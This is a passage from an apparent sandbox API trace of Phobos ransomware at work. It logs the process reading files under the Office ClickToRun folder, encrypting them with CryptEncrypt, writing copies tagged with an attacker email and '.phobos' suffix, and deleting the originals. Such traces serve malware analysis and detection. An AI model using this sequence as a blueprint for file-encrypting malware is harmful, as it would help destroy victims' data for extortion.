hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.472] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=1402584) returned 1 [0132.472] CloseHandle (hObject=0x2f4) returned 1 [0132.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20 [0132.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.472] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0132.473] ResetEvent (hEvent=0x29c) returned 1 [0132.473] SetEvent (hEvent=0x2a0) returned 1 [0132.473] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.473] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=2285736) returned 1 [0132.473] CloseHandle (hObject=0x2f4) returned 1 [0132.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20 [0132.473] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0132.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.474] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 1 [0132.474] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0132.474] ResetEvent (hEvent=0x29c) returned 1 [0132.474] SetEvent (hEvent=0x2a0) returned 1 [0132.475] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.475] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=567512) returned 1 [0132.475] CloseHandle (hObject=0x2f4) returned 1 [0132.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0132.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.475] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0132.475] ResetEvent (hEvent=0x29c) returned 1 [0132.475] SetEvent (hEvent=0x2a0) returned 1 [0132.475] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.476] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=1231576) returned 1 [0132.476] CloseHandle (hObject=0x2f4) returned 1 [0132.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0132.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.476] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0132.476] ResetEvent (hEvent=0x29c) returned 1 [0132.476] SetEvent (hEvent=0x2a0) returned 1 [0132.476] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.477] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=947928) returned 1 [0132.477] CloseHandle (hObject=0x2f4) returned 1 [0132.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0132.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.477] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0132.477] ResetEvent (hEvent=0x29c) returned 1 [0132.477] SetEvent (hEvent=0x2a0) returned 1 [0132.477] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.477] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=1295576) returned 1 [0132.477] CloseHandle (hObject=0x2f4) returned 1 [0132.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0132.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.478] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0132.478] ResetEvent (hEvent=0x29c) returned 1 [0132.478] SetEvent (hEvent=0x2a0) returned 1 [0132.478] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.478] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=512216) returned 1 [0132.478] CloseHandle (hObject=0x2f4) returned 1 [0132.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20 [0132.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0x20 [0132.479] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0132.479] ResetEvent (hEvent=0x29c) returned 1 [0132.479] SetEvent (hEvent=0x2a0) returned 1 [0132.479] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.479] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=263896) returned 1 [0132.479] CloseHandle (hObject=0x2f4) returned 1 [0132.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20 [0132.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0x20 [0132.485] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0132.485] ResetEvent (hEvent=0x29c) returned 1 [0132.485] SetEvent (hEvent=0x2a0) returned 1 [0132.485] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.485] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=820416) returned 1 [0132.485] CloseHandle (hObject=0x2f4) returned 1 [0132.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20 [0132.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.486] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0132.486] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0132.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0132.489] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x7531d8) returned 1 [0132.489] CryptSetKeyParam (hKey=0x7531d8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0132.489] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0xc84c0, lpOverlapped=0x0) returned 1 [0132.637] CryptEncrypt (in: hKey=0x7531d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0xc84d0, dwBufLen=0xc84d0 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0xc84d0) returned 1 [0132.639] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xc84d0, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xc84d0, lpOverlapped=0x0) returned 1 [0132.651] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752e18) returned 1 [0132.651] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0132.651] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0132.651] CryptDestroyKey (hKey=0x752e18) returned 1 [0132.651] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0132.651] CryptDestroyKey (hKey=0x7531d8) returned 1 [0132.651] CloseHandle (hObject=0x2f4) returned 1 [0132.651] CloseHandle (hObject=0x2f8) returned 1 [0132.651] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 1 [0132.658] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0132.658] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=332968) returned 1 [0132.658] CloseHandle (hObject=0x2f8) returned 1 [0132.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20 [0132.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0132.658] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0132.658] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0132.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.659] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752c58) returned 1 [0132.659] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0132.659] ReadFile (in: hFile=0x2f8, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x514a8, lpOverlapped=0x0) returned 1 [0132.698] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x514b0, dwBufLen=0x514b0 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x514b0) returned 1 [0132.698] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x514b0, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x514b0, lpOverlapped=0x0) returned 1 [0132.779] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752ad8) returned 1 [0132.779] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0132.779] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0132.779] CryptDestroyKey (hKey=0x752ad8) returned 1 [0132.779] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0132.779] CryptDestroyKey (hKey=0x752c58) returned 1 [0132.779] CloseHandle (hObject=0x2f8) returned 1 [0132.779] CloseHandle (hObject=0x2f4) returned 1 [0132.780] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 1 [0132.783] SetEvent (hEvent=0x298) returned 1 [0132.783] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.783] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=358616) returned 1 [0132.783] CloseHandle (hObject=0x2f4) returned 1 [0132.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20 [0132.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.783] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0132.783] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0132.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0132.784] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752f98) returned 1 [0132.784] CryptSetKeyParam (hKey=0x752f98, dwParam=0x1, 